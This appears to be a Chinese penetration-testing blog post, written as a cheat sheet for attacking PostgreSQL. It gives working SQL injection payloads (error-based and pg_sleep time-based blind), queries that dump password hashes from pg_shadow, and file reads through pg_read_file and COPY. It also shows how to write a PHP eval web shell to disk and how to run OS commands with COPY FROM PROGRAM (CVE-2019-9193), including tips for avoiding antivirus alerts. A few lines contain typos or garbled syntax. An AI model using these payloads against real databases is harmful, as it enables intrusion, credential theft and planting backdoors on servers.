最近上班想摸鱼,不知道学啥,因此有了这篇文章(^▽^)
一、PostgreSQL简介:
PostgreSQL数据库大家肯定又陌生又熟悉,偶尔会出现在各大渗透测试文章里SQL注入相关的部分,但是存在感又远远不如oracle、mssql和mysql。
简单对这几种数据库进行对比
Oracle:闭源,商用收费,功能性能都很强大,而且跨平台使用,但是操作运维麻烦
mssql:闭源,商用收费,性能较好,不能跨平台(linux版本没啥人用)运维比较简单
mysql:开源,免费,灵活,而且现在已经被oracle公司收购了,性能比较一般
PostgreSQL:开源,免费,灵活,性能较好。
那其实通过上面简单的介绍,可以看出这四种关系型数据库oracle和mssql是类似的;而mysql和PostgreSQL也是类似的,那么为什么mysql那么多人用而PostgreSQL没人用呢?实际上不是因为PostgreSQL不够优秀,而是因为mysql早期的推广太好了,在PHP风靡的时代,几乎全部都是搭配的MYSQL,因此就冷落了PostgreSQL,从而导致一直没有比较成熟的相关产品;并且因为没有背靠公司,所以用的人就比较少。
默认端口为5432
PostgreSQL和MYSQL的使用方法是非常像的
搭建的环境postgresql-10.20-1-windows-x64
小Tips:
1、postgresql默认情况下除本机外的机器是不能连接的,要想连接需要配置一下文件pg_hba.conf,因此就算拿到了账户密码也不一定登录的上
2、postgresql默认是支持堆叠的,因为支持堆叠,所以在有时候可以直接通过sql注入拿下网站
二、注入基础-简单命令
这一部分命令就去网上抄抄写写了
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
SELECT CURRENT_SCHEMA(); //查看当前权限
public
SELECT version(); //查看版本
PostgreSQL 10.20, compiled by Visual C++ build 1800, 64-bit
SELECT current_database() //查看当前数据库
PostgreSQLdb
select * from information_schema.SCHEMATA; //pgsql也和mysql一样有information_schema这个库
select usename, passwd from pg_shadow; //获取pgsql账户和密码
"postgres" "md5ea413b4fad53ddb9cb293199bdc88034"
这个密码的hash是a123456.postgres即 md5(passwd+username)
select datname from pg_database; // 获取所有的库
select array_to_string(array_agg(datname),',') from pg_database; // 获取所有的库
order by
postgresql支持和mysql语法一样的order by 注入
select * from table_name from column_name = 'xxx' order by 3
报错盲注
1、cast
将一种格式转为另外一种格式
select '1' and 1=cast(version() as int);
2、::运算符
也是将一种格式转为另外一种格式
select version()::text::int
select user::text::int
时间盲注
//如果parameter是整数:
select pg_sleep(5); -- -
//如果参数是字符串:
select '1' || pg_sleep(5); -- -
//9.4及之后版本新增新的函数
select pg_sleep_for('5 sec')
//查看当前时间
select now();
//睡到那个时间,离多少秒就睡多少秒
select pg_sleep_until('2022-3-18 17:08:59');
模拟注入情况,利用case when来进行时间注入
select case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 end
userid=asdasd' and 1=case when(ascii(substr((select datname from pg_database limit 1 offset 0),1,1))>97) then (select 1 from pg_sleep(5)) else 1 end --
一些特性
在PostgreSQL中 || 是 连接符
select '1'||2||3;
运行结果: 123
select '1'||'a'||3;
运行结果: 1a3
select 1||2||3;
运行结果: 爆错 error: operator does not exist: integer || integer
like 的奇怪特性
select '1' like '1';
运行结果: 正常运行
select '1' like 'a';
运行结果: 正常运行
select 'a' like 1;
运行结果: error: operator does not exist: unknown ~~ integer
select 1 like 1;
运行结果: error: operator does not exist: integer ~~ integer
HINT: 没有匹配指定名称和参数类型的操作符. 您也许需要增加明确的类型转换.
使用 $$ 替代 单引号
# 普通情况-单引号输出内容
select '1' == select $1$
SELECT $xxx$123$xxx$ == SELECT '123';
使用 替代 单引号写shell
命令: COPY (select <?php @eval($_POST[1]);?>) to C:\2.php$$;
命令执行函数和RCE
读取文件
PostgreSQL这点和mssql有些相似,将一些系统的命令执行集成在某些函数里,方便调用
//列目录
select pg_ls_dir('./');
//读取文件内容
select pg_read_file('PG_VERSION');
//如果数据太大了,可以读取一部分内容
select pg_read_file('postgresql.auto.conf', 66, 12);
//但是该函数也有局限性,有些文件内容默认无法读取,例如
select pg_ls_dir('../');
ERROR: 错误: 路径必须在当前目录或其子目录下
select pg_read_file('../PG_VERSION');
ERROR: 错误: 路径必须在当前目录或其子目录下
postgres=# select pg_read_file('/etc/passwd');
select pg_read_file('E:/111.txt');
ERROR: 错误: 不允许使用绝对路径
ERROR: absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR: path must be in or below the current directory
可以看到,原生的postgresql存在很大的局限性,因此可以使用copy来读取文件
create table docs (data TEXT); //创建一个表
copy docs from 'C://111.txt'; //表里写入内容
select * from docs limit 10; //读取文件内容
写shell
支持下面两种思路的写shell方式
;create table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';
COPY (select $$<?php @eval($_POST[1]);?>$$) to $$E:\2.php$$;
如果遇到权限不对则报错
ERROR: 错误: 为了写入, 无法打开文件 "C:\2.php": Permission denied
HINT: COPY TO instructs the PostgreSQL server process to write a file. You may want a client-side facility such as psql's \copy.
CVE-2019-9193
在版本9.3开始,PostgreSQL新增了一个”COPY TO/FROM PROGRAM”的功能
允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
(和xp_cmdshell有点像我感觉)
该漏洞直到11.2版本被修复
DROP TABLE IF EXISTS cmd_exec; //--删除某个已存在的数据表
CREATE TABLE cmd_exec(cmd_output text); //--创建一个数据包表
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
nt authority/network service 权限
坑点1:
值得的一提的是在“COPY cmd_exec FROM PROGRAM ‘whoami’;”会触发杀软的告警,如执行certutil或者whoami(qq管家拦截了,360是不拦截whoami的)
如下图所示,只输入certutil 后面没有跟任何参数也会被拦截
坑点2:
对于命令执行,如果命令执行的结果如果存在中文,则会进行报错,解决该问题其实非常简单
只需要使用@echo off关闭回显+certutil即可
COPY cmd_exec FROM PROGRAM 'ipconfig > 12233.txt;
COPY cmd_exec FROM PROGRAM 'certutil -encode 12233.txt 12345.txt |@echo off';
select pg_read_file('12345.txt')
工具命令执行也避免不了这个问题
Linux低版本命令执行
在postgresql版本小于8.2时可用
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');
其他方式:
https://www.anquanke.com/post/id/215954
参考文章:
本文部分内容来自phpoop参考学习
https://xz.aliyun.com/t/10202
https://xz.aliyun.com/t/8659
https://xz.aliyun.com/t/8621
https://xz.aliyun.com/t/4168